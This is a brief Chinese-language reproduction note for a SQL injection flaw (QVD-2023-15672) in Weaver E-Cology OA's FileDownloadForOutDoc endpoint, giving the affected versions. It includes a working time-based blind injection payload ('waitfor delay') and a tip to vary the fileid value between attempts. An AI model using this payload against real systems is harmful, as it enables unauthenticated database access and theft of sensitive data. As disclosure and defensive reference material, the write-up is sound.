泛微E-Cology FileDownloadForOutDoc SQL注入漏洞复现（QVD-2023-15672）

1.漏洞描述

泛微 Ecology OA 系统对用户传入的数据过滤处理不当，导致存在 SQL 注入漏洞，未经过身份认证的远程攻击者可利用此漏洞执行任意SQL指令，从而窃取数据库敏感信息。

影响版本：Ecology 9.x 补丁版本 < 10.58.0 ，Ecology 8.x 补丁版本 < 10.58.0

2.漏洞复现

POC

fileid=32 waitfor delay '0:0:3'&isFromOutImg=1

注意，此处fileid值要随机，用过一次就需要更换

漏洞复现，延时注入查看返回包响应时间
